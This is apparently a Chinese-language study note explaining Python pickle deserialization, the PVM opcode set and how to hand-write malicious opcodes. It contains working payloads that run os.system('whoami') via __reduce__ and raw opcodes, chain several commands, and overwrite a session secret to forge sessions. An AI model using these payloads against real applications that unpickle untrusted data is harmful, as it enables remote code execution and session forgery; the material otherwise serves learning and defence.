Pickle反序列化学习

什么是Pickle？

很简单，就是一个python的序列化模块，方便对象的传输与存储。但是pickle的灵活度很高，可以通过对opcode的编写来实现代码执行的效果，由此引发一系列的安全问题

Pickle使用

举个简单的例子

import pickle
class Person():
    def __init__(self):
        self.age = 18
        self.name = 'F12'
p = Person()
opcode = pickle.dumps(p)
print(opcode)

person = pickle.loads(opcode)
print(person)
print(person.age)
print(person.name)


# 输出结果
# b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.'
# <__main__.Person object at 0x00000297918FBF10>
# 18
# F12

pickle.dumps(p) 将对象序列化，同理pickle.loads(opcode)就是反序列化的过程

注意

值得注意的是在不同平台环境下pickle生成的opcode是不同的，例如在windows和linux环境下相同的对象，dumps下来的opcode就不一样

魔术方法__reduce__

object.__reduce__是object类的一个魔术方法，我们可以通过重写该方法，让该方法在反序列化时按我们的重写的方式执行，python要求该方法返回一个字符串或元组，如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时，就会调用 callable(param1, param2, )，我们可以控制callable和它的参数来实现代码执行

Pickle反序列化漏洞利用

import pickle 
import os
class Exp():
    def __reduce__(self):
        return (os.system, ('whoami', ))
e = Exp()
opcode = pickle.dumps(e)
pickle.loads(opcode)

# 输出结果
sevydhodungnwjp\hacker

很明显在反序列化的过程时执行了 os.system('whoami')，这是pickle反序列化漏洞的最简单的利用方式，要掌握更加高级的利用手法，我们还得继续深入学习pickle

Pickle的工作原理

opcode的解析依靠Pickle Virtual Machine （PVM）进行
PVM由以下三部分组成

• 指令处理器：从流中读取 opcode 和参数，并对其进行解释处理。重复这个动作，直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
• stack：由 Python 的 list 实现，被用来临时存储数据、参数以及对象。
• memo：由 Python 的 dict 实现，为 PVM 的整个生命周期提供存储。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高，读取生成的 pickle 所需的 Python 版本就要越新。

• v0 版协议是原始的“人类可读”协议，并且向后兼容早期版本的 Python。
• v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。
• v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进，请参阅 PEP 307。
• v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持，且无法被 Python 2.x 打开。这是目前默认使用的协议，也是在要求与其他 Python 3 版本兼容时的推荐协议。
• v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息，请参阅 PEP 3154。

pickle协议是向前兼容的，v0版本的字符串可以直接交给pickle.loads()，不用担心引发什么意外。下面我们以v0版本为例，介绍一下opcode指令

常用opcode指令介绍

opcode	描述	具体写法	栈上的变化	memo上的变化
c	获取一个全局对象或import一个模块（注：会调用import语句，能够引入新的包）会加入self.stack	c[module]\n[instance]\n	获得的对象入栈	无
o	寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）	o	这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈	无
i	相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）	i[module]\n[callable]\n	这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈	无
N	实例化一个None	N	获得的对象入栈	无
S	实例化一个字符串对象	S'xxx'\n（也可以使用双引号、\'等python字符串形式）	获得的对象入栈	无
V	实例化一个UNICODE字符串对象	Vxxx\n	获得的对象入栈	无
I	实例化一个int对象	Ixxx\n	获得的对象入栈	无
F	实例化一个float对象	Fx.x\n	获得的对象入栈	无
R	选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数	R	函数和参数出栈，函数的返回值入栈	无
.	程序结束，栈顶的一个元素作为pickle.loads()的返回值	.	无	无
(	向栈中压入一个MARK标记	(	MARK标记入栈	无
t	寻找栈中的上一个MARK，并组合之间的数据为元组	t	MARK标记以及被组合的数据出栈，获得的对象入栈	无
)	向栈中直接压入一个空元组	)	空元组入栈	无
l	寻找栈中的上一个MARK，并组合之间的数据为列表	l	MARK标记以及被组合的数据出栈，获得的对象入栈	无
]	向栈中直接压入一个空列表	]	空列表入栈	无
d	寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对）	d	MARK标记以及被组合的数据出栈，获得的对象入栈	无
}	向栈中直接压入一个空字典	}	空字典入栈	无
p	将栈顶对象储存至memo_n（记忆栈）	pn\n	无	对象被储存
g	将memo_n的对象压栈	gn\n	对象被压栈	无
0	丢弃栈顶对象（self.stack）	0	栈顶对象被丢弃	无
b	使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置	b	栈上第一个元素出栈	无
s	将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中	s	第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新	无
u	寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中	u	MARK标记以及被组合的数据出栈，字典被更新	无
a	将栈的第一个元素append到第二个元素(列表)中	a	栈顶元素出栈，第二个元素（列表）被更新	无
e	寻找栈中的上一个MARK，组合之间的数据并extends到该MARK之前的一个元素（必须为列表）中	e	MARK标记以及被组合的数据出栈，列表被更新	无

更多的opcode指令可以查看pickle.py获取

PVM工作流程

嫖的动图
PVM解析str

PVM解析__reduce__：

手写opcode

举个简单的opcode例子：

opcode = '''cos              # c[moudle]\n[instance]\n
system			     # 前两句相当于导入os模块，调用system
(S'whoami'		     # ( 压入MARK标记 ， S'whoami' 压入 whoami字符串
tR.			     # t 寻找栈中的上一个MARK，并组合之间的数据为元组，也就是('whoami')
'''			     # R 选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数,即os.system('whoami')
                             # . 程序结束，栈顶的一个元素作为pickle.loads()的返回值，返回值就是os.system('whoami')的执行结果

程序:

import pickle
opcode = '''cos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker

pickletools介绍

pickletools模块可以将opcode指令转变成易读的形式：

import pickletools
opcode = '''cos
system
(S'whoami'
tR.
'''
print(pickletools.dis(opcode.encode()))

多命令执行

在上面描述的修改reduce来达到命令执行的效果，一次只能执行一条命令，想要多命令执行就只能通过手写opcode来实现，只要不碰到.导致程序结束返回就能一直执行命令

import pickle
opcode = '''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker
sevydhodungnwjp\hacker

R，i，o介绍

在opcode里能执行函数的字节码就是R，i，o

• R

opcode=b'''cos
system
(S'whoami'
tR.
'''

• i : 相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）

opcode=b'''(S'whoami'
ios
system
.'''

• o : 寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象)

opcode=b'''(cos
system
S'whoami'
o.'''

实例化对象

实例化对象也是一种变相的函数执行，因为python不需要new 一个对象（bushi

import pickle
class Person():
    def __init__(self, age, name):
        self.age = age
        self.name = name
opcode = '''c__main__
Person
(I18
S'F12'
tR.
'''
p = pickle.loads(opcode.encode())
print(p.age)
print(p.name)

# 运行结果
18
F12

变量覆盖

也是一个nb的利用手段，通常python框架使用了session时都会有个secret，我们可以通过覆盖掉这个secret来伪造session

secret = "F13"

import pickle
import secret
print("一开始:"+ secret.secret)
opcode = b'''c__main__
secret
(S'secret'
S'F12'
db.
'''
fake = pickle.loads(opcode)
print("最后："+ fake.secret)

# 运行结果
一开始:F13
最后：F12

首先通过c来获取main.secret模块，然后将MARK标记压入栈，字符串secret,F12压入栈，d将两个字符串组合成字典也就是{'secret': 'F12'}的形式，由于在pickle中，反序列化的数据都是以key-value的形式存储的，所有main.secret 也就是 {'secret': 'F13'}，b执行dict.update()，也就是{'secret': 'F13'}.update({'secret': 'F12'})，最终secret变成了F12

Pker工具介绍

一个方便生成所需要opcode代码的工具：https://github.com/eddieivan01/pker
仿python语法生成opcode，使用方法很简单